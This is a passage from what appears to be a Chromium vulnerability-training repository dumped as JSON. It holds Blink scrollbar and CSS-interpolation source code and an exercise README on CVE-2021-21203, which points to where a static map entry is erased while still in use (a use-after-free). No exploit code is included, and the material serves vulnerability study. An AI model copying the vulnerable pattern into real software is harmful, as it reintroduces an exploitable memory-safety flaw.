scrollerPainter:scrollerPainter\n                       part:blink::kBackTrackPart\n             animateAlphaTo:newTrackAlpha\n                   duration:duration];\n}\n\n- (void)scrollerImp:(id)scrollerImp\n    animateUIStateTransitionWithDuration:(NSTimeInterval)duration {\n  if (!_scrollbar)\n    return;\n\n  if (!SupportsUIStateTransitionProgress())\n    return;\n\n  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));\n\n  ScrollbarPainter scrollbarPainter = (ScrollbarPainter)scrollerImp;\n\n  // UIStateTransition always animates to 1. In case an animation is in progress\n  // this avoids a hard transition.\n  [scrollbarPainter\n      setUiStateTransitionProgress:1 - [scrollerImp uiStateTransitionProgress]];\n\n  if (!_uiStateTransitionAnimation)\n    _uiStateTransitionAnimation.reset([[BlinkScrollbarPartAnimation alloc]\n        initWithScrollbar:_scrollbar\n         featureToAnimate:UIStateTransition\n              animateFrom:[scrollbarPainter uiStateTransitionProgress]\n                animateTo:1.0\n                 duration:duration\n               taskRunner:_taskRunner]);\n  else {\n    // If we don't need to initialize the animation, just reset the values in\n    // case they have changed.\n    [_uiStateTransitionAnimation\n        setStartValue:[scrollbarPainter uiStateTransitionProgress]];\n    [_uiStateTransitionAnimation setEndValue:1.0];\n    [_uiStateTransitionAnimation setDuration:duration];\n  }\n  [_uiStateTransitionAnimation startAnimation];\n}\n\n- (void)scrollerImp:(id)scrollerImp\n    animateExpansionTransitionWithDuration:(NSTimeInterval)duration {\n  if (!_scrollbar)\n    return;\n\n  if (!SupportsExpansionTransitionProgress())\n    return;\n\n  DCHECK_EQ(scrollerImp, ScrollbarPainterForScrollbar(*_scrollbar));\n\n  ScrollbarPainter scrollbarPainter = (ScrollbarPainter)scrollerImp;\n\n  // ExpansionTransition always animates to 1. In case an animation is in\n  // progress this avoids a hard transition.\n  [scrollbarPainter\n      setExpansionTransitionProgress:1 -\n                                     [scrollerImp expansionTransitionProgress]];\n\n  if (!_expansionTransitionAnimation) {\n    _expansionTransitionAnimation.reset([[BlinkScrollbarPartAnimation alloc]\n        initWithScrollbar:_scrollbar\n         featureToAnimate:ExpansionTransition\n              animateFrom:[scrollbarPainter expansionTransitionProgress]\n                animateTo:1.0\n                 duration:duration\n               taskRunner:_taskRunner]);\n  } else {\n    // If we don't need to initialize the animation, just reset the values in\n    // case they have changed.\n    [_expansionTransitionAnimation\n        setStartValue:[scrollbarPainter uiStateTransitionProgress]];\n    [_expansionTransitionAnimation setEndValue:1.0];\n    [_expansionTransitionAnimation setDuration:duration];\n  }\n  [_expansionTransitionAnimation startAnimation];\n}\n\n- (void)scrollerImp:(id)scrollerImp\n    overlayScrollerStateChangedTo:(NSUInteger)newOverlayScrollerState {\n  // The names of these states are based on their observed behavior, and are not\n  // based on documentation.\n  enum {\n    NSScrollerStateInvisible = 0,\n    NSScrollerStateKnob = 1,\n    NSScrollerStateExpanded = 2\n  };\n  // We do not receive notifications about the thumb un-expanding when the\n  // scrollbar fades away. Ensure\n  // that we re-paint the thumb the next time that we transition away from being\n  // invisible, so that\n  // the thumb doesn't stick in an expanded state.\n  if (newOverlayScrollerState == NSScrollerStateExpanded) {\n    _hasExpandedSinceInvisible = YES;\n  } else if (newOverlayScrollerState != NSScrollerStateInvisible &&\n             _hasExpandedSinceInvisible) {\n    _scrollbar->SetNeedsPaintInvalidation(blink::kThumbPart);\n    _hasExpandedSinceInvisible = NO;\n  }\n}\n\n- (void)invalidate {\n  _scrollbar = 0;\n  BEGIN_BLOCK_OBJC_EXCEPTIONS;\n  [_knobAlphaAnimation invalidate];\n  [_trackAlphaAnimation invalidate];\n  [_uiStateTransitionAnimation invalidate];\n  [_expansionTransitionAnimation invalidate];\n  END_BLOCK_OBJC_EXCEPTIONS;\n}\n@end\n\nnamespace blink {\nMacScrollbarAnimatorImpl::MacScrollbarAnimatorImpl(\n    ScrollableArea* scrollable_area)\n    : task_runner_(scrollable_area->GetCompositorTaskRunner()),\n      scrollable_area_(scrollable_area) {\n  scrollbar_painter_controller_delegate_.reset(\n      [[BlinkScrollbarPainterControllerDelegate alloc]\n          initWithScrollableArea:scrollable_area]);\n  scrollbar_painter_controller_.reset(\n      [[[NSClassFromString(@\"NSScrollerImpPair\") alloc] init] autorelease],\n      base::scoped_policy::RETAIN);\n  [scrollbar_painter_controller_\n      performSelector:@selector(setDelegate:)\n           withObject:scrollbar_painter_controller_delegate_];\n  [scrollbar_painter_controller_\n      setScrollerStyle:ScrollbarThemeMac::RecommendedScrollerStyle()];\n}\n\nvoid MacScrollbarAnimatorImpl::Dispose() {\n  BEGIN_BLOCK_OBJC_EXCEPTIONS;\n  ScrollbarPainter horizontal_scrollbar_painter =\n      [scrollbar_painter_controller_ horizontalScrollerImp];\n  [horizontal_scrollbar_painter setDelegate:nil];\n\n  ScrollbarPainter vertical_scrollbar_painter =\n      [scrollbar_painter_controller_ verticalScrollerImp];\n  [vertical_scrollbar_painter setDelegate:nil];\n\n  [scrollbar_painter_controller_delegate_ invalidate];\n  [scrollbar_painter_controller_ setDelegate:nil];\n  [horizontal_scrollbar_painter_delegate_ invalidate];\n  [vertical_scrollbar_painter_delegate_ invalidate];\n  END_BLOCK_OBJC_EXCEPTIONS;\n\n  initial_scrollbar_paint_task_handle_.Cancel();\n  send_content_area_scrolled_task_handle_.Cancel();\n}\n\nvoid MacScrollbarAnimatorImpl::ContentAreaWillPaint() const {\n  if (!scrollable_area_->ScrollbarsCanBeActive())\n    return;\n  [scrollbar_painter_controller_ contentAreaWillDraw];\n}\nvoid MacScrollbarAnimatorImpl::MouseEnteredContentArea() const {\n  if (!scrollable_area_->ScrollbarsCanBeActive())\n    return;\n  [scrollbar_painter_controller_ mouseEnteredContentArea];\n}\nvoid MacScrollbarAnimatorImpl::MouseExitedContentArea() const {\n  if (!scrollable_area_->ScrollbarsCanBeActive())\n    return;\n  [scrollbar_painter_controller_ mouseExitedContentArea];\n}\nvoid MacScrollbarAnimatorImpl::MouseMovedInContentArea() const {\n  if (!scrollable_area_->ScrollbarsCanBeActive())\n    return;\n  [scrollbar_painter_controller_ mouseMovedInContentArea];\n}\n\nvoid MacScrollbarAnimatorImpl::MouseEnteredScrollbar(\n    Scrollbar& scrollbar) const {\n  if (!scrollable_area_->ScrollbarsCanBeActive())\n    return;\n\n  if (!SupportsUIStateTransitionProgress())\n    return;\n  if (ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar))\n    [painter mouseEnteredScroller];\n}\n\nvoid MacScrollbarAnimatorImpl::MouseExitedScrollbar(\n    Scrollbar& scrollbar) const {\n  if (!scrollable_area_->ScrollbarsCanBeActive())\n    return;\n\n  if (!SupportsUIStateTransitionProgress())\n    return;\n  if (ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar))\n    [painter mouseExitedScroller];\n}\n\nvoid MacScrollbarAnimatorImpl::ContentsResized() const {\n  if (!scrollable_area_->ScrollbarsCanBeActive())\n    return;\n  [scrollbar_painter_controller_ contentAreaDidResize];\n}\n\nvoid MacScrollbarAnimatorImpl::DidAddVerticalScrollbar(Scrollbar& scrollbar) {\n  ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar);\n  if (!painter)\n    return;\n\n  DCHECK(!vertical_scrollbar_painter_delegate_);\n  vertical_scrollbar_painter_delegate_.reset(\n      [[BlinkScrollbarPainterDelegate alloc] initWithScrollbar:&scrollbar\n                                                    taskRunner:task_runner_]);\n\n  [painter setDelegate:vertical_scrollbar_painter_delegate_];\n  [scrollbar_painter_controller_ setVerticalScrollerImp:painter];\n}\n\nvoid MacScrollbarAnimatorImpl::WillRemoveVerticalScrollbar(\n    Scrollbar& scrollbar) {\n  ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar);\n  DCHECK_EQ([scrollbar_painter_controller_ verticalScrollerImp], painter);\n\n  if (!painter)\n    DCHECK(!vertical_scrollbar_painter_delegate_);\n\n  [painter setDelegate:nil];\n  [vertical_scrollbar_painter_delegate_ invalidate];\n  vertical_scrollbar_painter_delegate_.reset();\n  [scrollbar_painter_controller_ setVerticalScrollerImp:nil];\n}\n\nvoid MacScrollbarAnimatorImpl::DidAddHorizontalScrollbar(Scrollbar& scrollbar) {\n  ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar);\n  if (!painter)\n    return;\n\n  DCHECK(!horizontal_scrollbar_painter_delegate_);\n  horizontal_scrollbar_painter_delegate_.reset(\n      [[BlinkScrollbarPainterDelegate alloc] initWithScrollbar:&scrollbar\n                                                    taskRunner:task_runner_]);\n\n  [painter setDelegate:horizontal_scrollbar_painter_delegate_];\n  [scrollbar_painter_controller_ setHorizontalScrollerImp:painter];\n}\n\nvoid MacScrollbarAnimatorImpl::WillRemoveHorizontalScrollbar(\n    Scrollbar& scrollbar) {\n  ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar);\n  DCHECK_EQ([scrollbar_painter_controller_ horizontalScrollerImp], painter);\n\n  if (!painter)\n    DCHECK(!horizontal_scrollbar_painter_delegate_);\n\n  [painter setDelegate:nil];\n  [horizontal_scrollbar_painter_delegate_ invalidate];\n  horizontal_scrollbar_painter_delegate_.reset();\n  [scrollbar_painter_controller_ setHorizontalScrollerImp:nil];\n}\n\nbool MacScrollbarAnimatorImpl::SetScrollbarsVisibleForTesting(bool show) {\n  if (show)\n    [scrollbar_painter_controller_ flashScrollers];\n  else\n    [scrollbar_painter_controller_ hideOverlayScrollers];\n\n  [vertical_scrollbar_painter_delegate_ updateVisibilityImmediately:show];\n  [horizontal_scrollbar_painter_delegate_ updateVisibilityImmediately:show];\n  return true;\n}\n\nvoid MacScrollbarAnimatorImpl::UpdateScrollerStyle() {\n  if (!scrollable_area_->ScrollbarsCanBeActive())\n    return;\n\n  blink::ScrollbarThemeMac* mac_theme =\n      MacOverlayScrollbarTheme(scrollable_area_->GetPageScrollbarTheme());\n  if (!mac_theme)\n    return;\n\n  NSScrollerStyle new_style = [scrollbar_painter_controller_ scrollerStyle];\n\n  if (Scrollbar* vertical_scrollbar = scrollable_area_->VerticalScrollbar()) {\n    vertical_scrollbar->SetNeedsPaintInvalidation(kAllParts);\n\n    ScrollbarPainter old_vertical_painter =\n        [scrollbar_painter_controller_ verticalScrollerImp];\n    ScrollbarPainter new_vertical_painter = [NSClassFromString(@\"NSScrollerImp\")\n        scrollerImpWithStyle:new_style\n                 controlSize:NSRegularControlSize\n                  horizontal:NO\n        replacingScrollerImp:old_vertical_painter];\n    [old_vertical_painter setDelegate:nil];\n    [new_vertical_painter setDelegate:vertical_scrollbar_painter_delegate_];\n    [scrollbar_painter_controller_ setVerticalScrollerImp:new_vertical_painter];\n    mac_theme->SetNewPainterForScrollbar(*vertical_scrollbar,\n                                         new_vertical_painter);\n\n    // The different scrollbar styles have different thicknesses, so we must\n    // re-set the frameRect to the new thickness, and the re-layout below will\n    // ensure the offset and length are properly updated.\n    int thickness =\n        mac_theme->ScrollbarThickness(vertical_scrollbar->ScaleFromDIP());\n    vertical_scrollbar->SetFrameRect(IntRect(0, 0, thickness, thickness));\n  }\n\n  if (Scrollbar* horizontal_scrollbar =\n          scrollable_area_->HorizontalScrollbar()) {\n    horizontal_scrollbar->SetNeedsPaintInvalidation(kAllParts);\n\n    ScrollbarPainter old_horizontal_painter =\n        [scrollbar_painter_controller_ horizontalScrollerImp];\n    ScrollbarPainter new_horizontal_painter =\n        [NSClassFromString(@\"NSScrollerImp\")\n            scrollerImpWithStyle:new_style\n                     controlSize:NSRegularControlSize\n                      horizontal:YES\n            replacingScrollerImp:old_horizontal_painter];\n    [old_horizontal_painter setDelegate:nil];\n    [new_horizontal_painter setDelegate:horizontal_scrollbar_painter_delegate_];\n    [scrollbar_painter_controller_\n        setHorizontalScrollerImp:new_horizontal_painter];\n    mac_theme->SetNewPainterForScrollbar(*horizontal_scrollbar,\n                                         new_horizontal_painter);\n\n    // The different scrollbar styles have different thicknesses, so we must\n    // re-set the\n    // frameRect to the new thickness, and the re-layout below will ensure the\n    // offset\n    // and length are properly updated.\n    int thickness =\n        mac_theme->ScrollbarThickness(horizontal_scrollbar->ScaleFromDIP());\n    horizontal_scrollbar->SetFrameRect(IntRect(0, 0, thickness, thickness));\n  }\n}\n\nvoid MacScrollbarAnimatorImpl::StartScrollbarPaintTimer() {\n  // Post a task with 1 ms delay to give a chance to run other immediate tasks\n  // that may cancel this.\n  initial_scrollbar_paint_task_handle_ = PostDelayedCancellableTask(\n      *task_runner_, FROM_HERE,\n      WTF::Bind(&MacScrollbarAnimatorImpl::InitialScrollbarPaintTask,\n                WrapWeakPersistent(this)),\n      base::TimeDelta::FromMilliseconds(1));\n}\n\nbool MacScrollbarAnimatorImpl::ScrollbarPaintTimerIsActive() const {\n  return initial_scrollbar_paint_task_handle_.IsActive();\n}\n\nvoid MacScrollbarAnimatorImpl::StopScrollbarPaintTimer() {\n  initial_scrollbar_paint_task_handle_.Cancel();\n}\n\nvoid MacScrollbarAnimatorImpl::InitialScrollbarPaintTask() {\n  // To force the scrollbars to flash, we have to call hide first. Otherwise,\n  // the ScrollbarPainterController\n  // might think that the scrollbars are already showing and bail early.\n  [scrollbar_painter_controller_ hideOverlayScrollers];\n  [scrollbar_painter_controller_ flashScrollers];\n}\n\nvoid MacScrollbarAnimatorImpl::DidChangeUserVisibleScrollOffset(\n    const ScrollOffset& delta) {\n  content_area_scrolled_timer_scroll_delta_ = delta;\n\n  if (send_content_area_scrolled_task_handle_.IsActive())\n    return;\n  send_content_area_scrolled_task_handle_ = PostCancellableTask(\n      *task_runner_, FROM_HERE,\n      WTF::Bind(&MacScrollbarAnimatorImpl::SendContentAreaScrolledTask,\n                WrapWeakPersistent(this)));\n}\n\nvoid MacScrollbarAnimatorImpl::SendContentAreaScrolledTask() {\n  if (SupportsContentAreaScrolledInDirection()) {\n    [scrollbar_painter_controller_\n        contentAreaScrolledInDirection:\n            NSMakePoint(content_area_scrolled_timer_scroll_delta_.Width(),\n                        content_area_scrolled_timer_scroll_delta_.Height())];\n    content_area_scrolled_timer_scroll_delta_ = ScrollOffset();\n  } else\n    [scrollbar_painter_controller_ contentAreaScrolled];\n}\n\nMacScrollbarAnimator* MacScrollbarAnimator::Create(\n    ScrollableArea* scrollable_area) {\n  return MakeGarbageCollected<MacScrollbarAnimatorImpl>(\n      const_cast<ScrollableArea*>(scrollable_area));\n}\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_1/exercise_5/README.md",
    "content": "# Exercise 5\n\n##  CVE-2021-21203\nI sugget you don't search any report about it to prevents get too much info like patch.\n\nThis time we do it by code audit\n\n### Details\n\n> Don't erase InterpolationTypes used by other documents\n>\n> A registered custom property in one document caused the entry for the\n> same custom property (unregistered) used in another document to be\n> deleted, which caused a use-after-free.\n>\n> Only store the CSSDefaultInterpolationType for unregistered custom\n> properties and never store registered properties in the map. They may\n> have different types in different documents when registered.\n\nYou can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation`\n\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1192054\n\n</details>\n\n--------\n\n### Set environment\n\nJust like exercise_4, we need chromium. I recomend you do as [offical gudience](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/linux/build_instructions.md). If you have installed `depot_tools` ago, you just need `fetch chromium`.\n\nWhen you finish the above\n```sh\ngit reset --hard 7e5707cc5f46b0155b9e42b121c8e2128c05f178 \n```\n\n### Related code\nwe can analysis the source file [online](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/css_interpolation_types_map.cc) or offline.\n\nThis time you need to analysis entire file [`third_party/blink/renderer/core/animation/css_interpolation_types_map.cc`](https://source.chromium.org/chromium/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf:third_party/blink/renderer/core/animation/css_interpolation_types_map.cc), this bug can be easily found if you read `Details` carefully ;)\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  `Details` has clearly told us the cause of the vulnerability. **A registered custom property in one document caused the entry for the same custom property (unregistered) used in another document to be deleted, which caused a use-after-free**\n  This mean if we register a `custom property` and then the `entry` of the same `custom property` in another document which `unregistered` will be deleted by `erase`.\n  ```c++\n  const InterpolationTypes& CSSInterpolationTypesMap::Get(\n    const PropertyHandle& property) const {\n  using ApplicableTypesMap =\n      HashMap<PropertyHandle, std::unique_ptr<const InterpolationTypes>>;  \n  // TODO(iclelland): Combine these two hashmaps into a single map on\n  // std::pair<bool,property>\n  DEFINE_STATIC_LOCAL(ApplicableTypesMap, all_applicable_types_map, ());\n  DEFINE_STATIC_LOCAL(ApplicableTypesMap, composited_applicable_types_map, ());\n\n  ApplicableTypesMap& applicable_types_map =\n      allow_all_animations_ ? all_applicable_types_map\n                            : composited_applicable_types_map;\n\n  auto entry = applicable_types_map.find(property);               [1] find entry (HashMap)\n  bool found_entry = entry != applicable_types_map.end();\n\n  // Custom property interpolation types may change over time so don't trust the\n  // applicableTypesMap without checking the registry.\n  if (registry_ && property.IsCSSCustomProperty()) {\n    const auto* registration = GetRegistration(registry_, property);  [2] registr\n    if (registration) {\n      if (found_entry) {\n        applicable_types_map.erase(entry);          [3] delete entry\n      }\n      return registration->GetInterpolationTypes();\n    }\n  }\n\n  if (found_entry) {\n    return *entry->value;\n  }\n  [ ... ]\n  ============================================================================\n  static const PropertyRegistration* GetRegistration(\n    const PropertyRegistry* registry,\n    const PropertyHandle& property) {\n    DCHECK(property.IsCSSCustomProperty());\n    if (!registry) {\n      return nullptr;\n    }\n    return registry->Registration(property.CustomPropertyName());\n  }\n  ```\n\n</details>\n\n--------\n\n"
  },
  {
    "path": "LEVEL_1/exercise_5/css_interpolation_types_map.cc",
    "content": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"third_party/blink/renderer/core/animation/css_interpolation_types_map.h\"\n\n#include <memory>\n#include <utility>\n\n#include \"third_party/blink/public/mojom/feature_policy/feature_policy_feature.mojom-blink.h\"\n#include \"third_party/blink/renderer/core/animation/css_angle_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_aspect_ratio_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_basic_shape_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_border_image_length_box_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_clip_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_color_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_custom_length_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_custom_list_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_default_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_filter_list_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_font_size_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_font_stretch_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_font_variation_settings_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_font_weight_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_image_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_image_list_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_image_slice_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_length_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_length_list_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_length_pair_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_number_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_offset_rotate_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_paint_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_path_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_percentage_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_position_axis_list_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_position_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_ray_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_resolution_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_rotate_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_scale_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_shadow_list_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_size_list_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_text_indent_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_time_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_transform_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_transform_origin_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_translate_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_var_cycle_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/animation/css_visibility_interpolation_type.h\"\n#include \"third_party/blink/renderer/core/css/css_property_names.h\"\n#include \"third_party/blink/renderer/core/css/css_syntax_definition.h\"\n#include \"third_party/blink/renderer/core/css/properties/css_property.h\"\n#include \"third_party/blink/renderer/core/css/property_registry.h\"\n#include \"third_party/blink/renderer/core/feature_policy/layout_animations_policy.h\"\n#include \"third_party/blink/renderer/core/frame/local_frame.h\"\n\nnamespace blink {\n\nCSSInterpolationTypesMap::CSSInterpolationTypesMap(\n    const PropertyRegistry* registry,\n    const Document& document)\n    : registry_(registry) {\n  allow_all_animations_ = document.GetExecutionContext()->IsFeatureEnabled(\n      blink::mojom::blink::DocumentPolicyFeature::kLayoutAnimations);\n}\n\nstatic const PropertyRegistration* GetRegistration(\n    const PropertyRegistry* registry,\n    const PropertyHandle& property) {\n  DCHECK(property.IsCSSCustomProperty());\n  if (!registry) {\n    return nullptr;\n  }\n  return registry->Registration(property.CustomPropertyName());\n}\n\nconst InterpolationTypes& CSSInterpolationTypesMap::Get(\n    const PropertyHandle& property) const {\n  using ApplicableTypesMap =\n      HashMap<PropertyHandle, std::unique_ptr<const InterpolationTypes>>;\n  // TODO(iclelland): Combine these two hashmaps into a single map on\n  // std::pair<bool,property>\n  DEFINE_STATIC_LOCAL(ApplicableTypesMap, all_applicable_types_map, ());\n  DEFINE_STATIC_LOCAL(ApplicableTypesMap, composited_applicable_types_map, ());\n\n  ApplicableTypesMap& applicable_types_map =\n      allow_all_animations_ ? all_applicable_types_map\n                            : composited_applicable_types_map;\n\n  auto entry = applicable_types_map.find(property);\n  bool found_entry = entry != applicable_types_map.end();\n\n  // Custom property interpolation types may change over time so don't trust the\n  // applicableTypesMap without checking the registry.\n  if (registry_ && property.IsCSSCustomProperty()) {\n    const auto* registration = GetRegistration(registry_, property);\n    if (registration) {\n      if (found_entry) {\n        applicable_types_map.erase(entry);\n      }\n      return registration->GetInterpolationTypes();\n    }\n  }\n\n  if (found_entry) {\n    return *entry->value;\n  }\n\n  std::unique_ptr<InterpolationTypes> applicable_types =\n      std::make_unique<InterpolationTypes>();\n\n  const CSSProperty& css_property = property.IsCSSProperty()\n                                        ? property.GetCSSProperty()\n                                        : property.PresentationAttribute();\n  // We treat presentation attributes identically to their CSS property\n  // equivalents when interpolating.\n  PropertyHandle used_property =\n      property.IsCSSProperty() ? property : PropertyHandle(css_property);\n  // TODO(crbug.com/838263): Support site-defined list of acceptable properties\n  // through feature policy declarations.\n  bool property_maybe_blocked_by_feature_policy =\n      LayoutAnimationsPolicy::AffectedCSSProperties().Contains(&css_property);\n  if (allow_all_animations_ || !property_maybe_blocked_by_feature_policy) {\n    switch (css_property.PropertyID()) {\n      case CSSPropertyID::kBaselineShift:\n      case CSSPropertyID::kBorderBottomWidth:\n      case CSSPropertyID::kBorderLeftWidth:\n      case CSSPropertyID::kBorderRightWidth:\n      case CSSPropertyID::kBorderTopWidth:\n      case CSSPropertyID::kBottom:\n      case CSSPropertyID::kCx:\n      case CSSPropertyID::kCy:\n      case CSSPropertyID::kFlexBasis:\n      case CSSPropertyID::kHeight:\n      case CSSPropertyID::kLeft:\n      case CSSPropertyID::kLetterSpacing:\n      case CSSPropertyID::kMarginBottom:\n      case CSSPropertyID::kMarginLeft:\n      case CSSPropertyID::kMarginRight:\n      case CSSPropertyID::kMarginTop:\n      case CSSPropertyID::kMaxHeight:\n      case CSSPropertyID::kMaxWidth:\n      case CSSPropertyID::kMinHeight:\n      case CSSPropertyID::kMinWidth:\n      case CSSPropertyID::kOffsetDistance:\n      case CSSPropertyID::kOutlineOffset:\n      case CSSPropertyID::kOutlineWidth:\n      case CSSPropertyID::kPaddingBottom:\n      case CSSPropertyID::kPaddingLeft:\n      case CSSPropertyID::kPaddingRight:\n      case CSSPropertyID::kPaddingTop:\n      case CSSPropertyID::kPerspective:\n      case CSSPropertyID::kR:\n      case CSSPropertyID::kRight:\n      case CSSPropertyID::kRx:\n      case CSSPropertyID::kRy:\n      case CSSPropertyID::kShapeMargin:\n      case CSSPropertyID::kStrokeDashoffset:\n      case CSSPropertyID::kStrokeWidth:\n      case CSSPropertyID::kTextDecorationThickness:\n      case CSSPropertyID::kTextUnderlineOffset:\n      case CSSPropertyID::kTop:\n      case CSSPropertyID::kVerticalAlign:\n      case CSSPropertyID::kWebkitBorderHorizontalSpacing:\n      case CSSPropertyID::kWebkitBorderVerticalSpacing:\n      case CSSPropertyID::kColumnGap:\n      case CSSPropertyID::kRowGap:\n      case CSSPropertyID::kColumnRuleWidth:\n      case CSSPropertyID::kColumnWidth:\n      case CSSPropertyID::kWebkitPerspectiveOriginX:\n      case CSSPropertyID::kWebkitPerspectiveOriginY:\n      case CSSPropertyID::kWebkitTransformOriginX:\n      case CSSPropertyID::kWebkitTransformOriginY:\n      case CSSPropertyID::kWebkitTransformOriginZ:\n      case CSSPropertyID::kWidth:\n      case CSSPropertyID::kWordSpacing:\n      case CSSPropertyID::kX:\n      case CSSPropertyID::kY:\n        applicable_types->push_back(\n            std::make_unique<CSSLengthInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kAspectRatio:\n        applicable_types->push_back(\n            std::make_unique<CSSAspectRatioInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kFlexGrow:\n      case CSSPropertyID::kFlexShrink:\n      case CSSPropertyID::kFillOpacity:\n      case CSSPropertyID::kFloodOpacity:\n      case CSSPropertyID::kFontSizeAdjust:\n      case CSSPropertyID::kOpacity:\n      case CSSPropertyID::kOrder:\n      case CSSPropertyID::kOrphans:\n      case CSSPropertyID::kShapeImageThreshold:\n      case CSSPropertyID::kStopOpacity:\n      case CSSPropertyID::kStrokeMiterlimit:\n      case CSSPropertyID::kStrokeOpacity:\n      case CSSPropertyID::kColumnCount:\n      case CSSPropertyID::kTextSizeAdjust:\n      case CSSPropertyID::kWidows:\n      case CSSPropertyID::kZIndex:\n        applicable_types->push_back(\n            std::make_unique<CSSNumberInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kLineHeight:\n      case CSSPropertyID::kTabSize:\n        applicable_types->push_back(\n            std::make_unique<CSSLengthInterpolationType>(used_property));\n        applicable_types->push_back(\n            std::make_unique<CSSNumberInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBackgroundColor:\n      case CSSPropertyID::kBorderBottomColor:\n      case CSSPropertyID::kBorderLeftColor:\n      case CSSPropertyID::kBorderRightColor:\n      case CSSPropertyID::kBorderTopColor:\n      case CSSPropertyID::kCaretColor:\n      case CSSPropertyID::kColor:\n      case CSSPropertyID::kFloodColor:\n      case CSSPropertyID::kLightingColor:\n      case CSSPropertyID::kOutlineColor:\n      case CSSPropertyID::kStopColor:\n      case CSSPropertyID::kTextDecorationColor:\n      case CSSPropertyID::kColumnRuleColor:\n      case CSSPropertyID::kWebkitTextStrokeColor:\n        applicable_types->push_back(\n            std::make_unique<CSSColorInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kFill:\n      case CSSPropertyID::kStroke:\n        applicable_types->push_back(\n            std::make_unique<CSSPaintInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kOffsetPath:\n        applicable_types->push_back(\n            std::make_unique<CSSRayInterpolationType>(used_property));\n        FALLTHROUGH;\n      case CSSPropertyID::kD:\n        applicable_types->push_back(\n            std::make_unique<CSSPathInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBoxShadow:\n      case CSSPropertyID::kTextShadow:\n        applicable_types->push_back(\n            std::make_unique<CSSShadowListInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBorderImageSource:\n      case CSSPropertyID::kListStyleImage:\n      case CSSPropertyID::kWebkitMaskBoxImageSource:\n        applicable_types->push_back(\n            std::make_unique<CSSImageInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kBackgroundImage:\n      case CSSPropertyID::kWebkitMaskImage:\n        applicable_types->push_back(\n            std::make_unique<CSSImageListInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kStrokeDasharray:\n        applicable_types->push_back(\n            std::make_unique<CSSLengthListInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kFontWeight:\n        applicable_types->push_back(\n            std::make_unique<CSSFontWeightInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kFontStretch:\n        applicable_types->push_back(\n            std::make_unique<CSSFontStretchInterpolationType>(used_property));\n        break;\n      case CSSPropertyID::kFontVariationSettings:\n        applicable_types->push_back(\n            std::make_unique<CSSFontVariationSettingsInterpolationType>(\n                